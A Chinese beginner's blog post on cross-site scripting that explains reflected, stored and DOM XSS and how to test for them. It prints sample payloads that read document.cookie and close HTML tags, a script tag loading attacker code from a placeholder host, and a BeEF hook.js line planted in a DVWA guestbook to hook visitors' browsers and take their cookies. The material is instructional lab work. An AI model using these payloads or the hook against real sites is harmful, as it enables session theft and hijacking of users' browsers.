网安学习Day17-初始XSS

目录

XSS攻击

XSS类型

反射型XSS

存储型XSS

DOM型XSS 

检测XSS

手工检测XSS

已知输出位置

未知输出位置

使用工具来检测XSS


XSS攻击

xss攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

xss属于客户端攻击。JavaScript可以用来获取用户的Cookie、改变网页内容、URL调转,那么存在XSS漏洞的网站,就可以盗用用户的Cookie、黑掉网页、导航到恶意网站,而攻击者需要做的仅仅是向网页中注入JavaScript代码。

以下面的代码为例,显然代码中并没有对我们输入的name值没有做出任何的过滤,就进行了输出。

当我们输入的代码为:
<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>

就会发生弹窗的行为:

 这就是触发xss攻击,攻击者可以在<script>和</script>之间写上JS代码,实现一些所谓的“特殊效果”,但是在真实的攻击中,并不会是一个简单的弹窗,通常使用<script src="http://www.xxx.com/1.txt"></script>方式来加载外部的脚本文件,而在1.txt中存放着攻击者的恶意代码,这段代码有可能是盗用客户的cookie,或者是监控键盘记录等恶意行为。

XSS类型

XSS主要分为三种,分别是:反射型、存储型、DOM型。

反射型XSS

反射型XSS也成为非持久性XSS,是最容易出现的一种XSS漏洞,当用户访问某个带有xss代码的url请求时,服务器端接收到数据后处理,然后将带有xss代码的数据发送给浏览器,浏览器解析这段带有xss代码的数据后,就造成了XSS漏洞,这个过程很像一次反射,所以我们把它称之为反射型XSS。还是以下面的这个例子来分析。

程序接收到name的值,进行判断是否为空,然后进行输出,那么我们输入xiaoming,程序会给我们回显Hello xiaoming;那么如果我们在name的值中写入name=<script>xss恶意代码</script>;就会造成反射型XSS漏洞。

可能很多人会问反射型XSS也没有多么大的危害呀?其实不然,假设http://www.xxx.com/xss.php存在着XSS漏洞,那么攻击者的过程可能是这样的:

        1. 用户a是http://www.xxx.com/xss.php网站的用户,此时正在看论坛中的信息。

        2. 攻击者发现了http://www.xxx.com/xss.php存在XSS漏洞,那么他会精心的构造JS代码,这段代码可能实现了盗用用户的cookie信息发送到指定的某个站点www.xhacker.com。

        3. 攻击者将带有反射型XSS漏洞的URL通过站内信发送给用户a,站内信为一些极具诱惑的信息,目的就是想让用户a区单击该链接。

        4. 假设用户a单击了该链接,那么就会把用户a的cookie信息发送到指定的站点www.xhacker.com。

        5. 此时的攻击者就可以通过用户a的cookie信息来登录http://www.xxx.com/xss.php,从而能够获取到用户a的敏感信息。

那么设想一下,如果用户a是管理员呢?是不是就可以通过管理员的cookie来登录后台?

存储型XSS

存储型XSS又称为持久性XSS,他是最危险的一种跨站脚本。

允许用户储存数据的web应用程序都可能出现存储型XSS漏洞,当攻击者提交一段XSS代码,服务器接收并储存,当攻击者再次访问某个页面的时候,这段代码被程序读出来,发送给浏览器,造成了XSS跨站攻击。这就是存储型XSS。

存储型XSS相比于反射型、DOM型XSS来说,其隐蔽性更高,危害性也更高。他们之间最大的区别就是存储型XSS是不需要用户手动去触发的。

在测试是否存在XSS时,首先要确定的就是输入点和输出点。在知道了输出点之后,我们可以根据相应的标签来构造对应的HTML代码来闭合。

<script>alert(document.cookie)</script>    #普通注入
"/><script>alert(document.cookie)</script>    #闭合标签注入
</textarea>'''><script>alert(document.cookie)</script>    #闭合标签注入

DOM型XSS 

DOM的全称为Document Object Model,DOM通常代表着HTML、XHTML、XML中的对象。使用DOM可以允许程序和脚本动态的访问和更新文档的内容、样式和结构。

一个经典的DOM型XSS的例子:

<script>
    var temp = document.URL;    #获取URL
    var index = document.URL.indexof("content=")+4;
    var par = temp.substring(index);
    document.write(decodeURL(par));    #输入获取的内容
</script>

上述代码的大概意思就是获取URL中的content参数的内容,然后将其输出。那么我们就可以写成content=<script>alert(/xss/)</script>,这就触发了XSS漏洞。

DOM本身就是文档的意思,而基于DOM型的XSS是不用与服务器端交互的,它只发生在客户端处理数据的时候。

检测XSS

手工检测XSS

已知输出位置

在已知输出位置的情况下,不建议直接将<script>恶意代码</script>,直接进行检测,因为可能存在着过滤,所以还是要先看一下是否存在着过滤,比如我们可以输入“11111<>&”,然后在源代码中直接查找11111的位置,这样会比较方便。

未知输出位置

然而非常多的web应用程序的源代码是不公开的,因此我们在输入数据之后,并不知道这些数据在哪里显示,就像是在某个留言板中发表留言,需要管理员的审批通过,才可以在留言板中进行显示,所以在这种情况下我们并不知道数据是什么样的形式存在着。通常会进行一些闭合来测试,例如/>aaaaa来测试。

使用工具来检测XSS

专业的XSS扫描工具很多,像有名的XSSER、XSSfork都还不错。

beef工具的使用

sudo apt-get update
sudo apt-get install beef-xss
beef-xss

下面就以DVWA来测试beef的使用。(在首次安装和登录beef的时候需要更改beef的密码)

我们在留言板上留言:
<script src="http://<IP>:3000/hook.js"></script>

之后我们在kali中可以看到上线的主机。之后可以通过beef来获取许多的信息,如cookie信息,重定向网页等等。

这里我们来使用一下获取cookie信息。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y4y17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值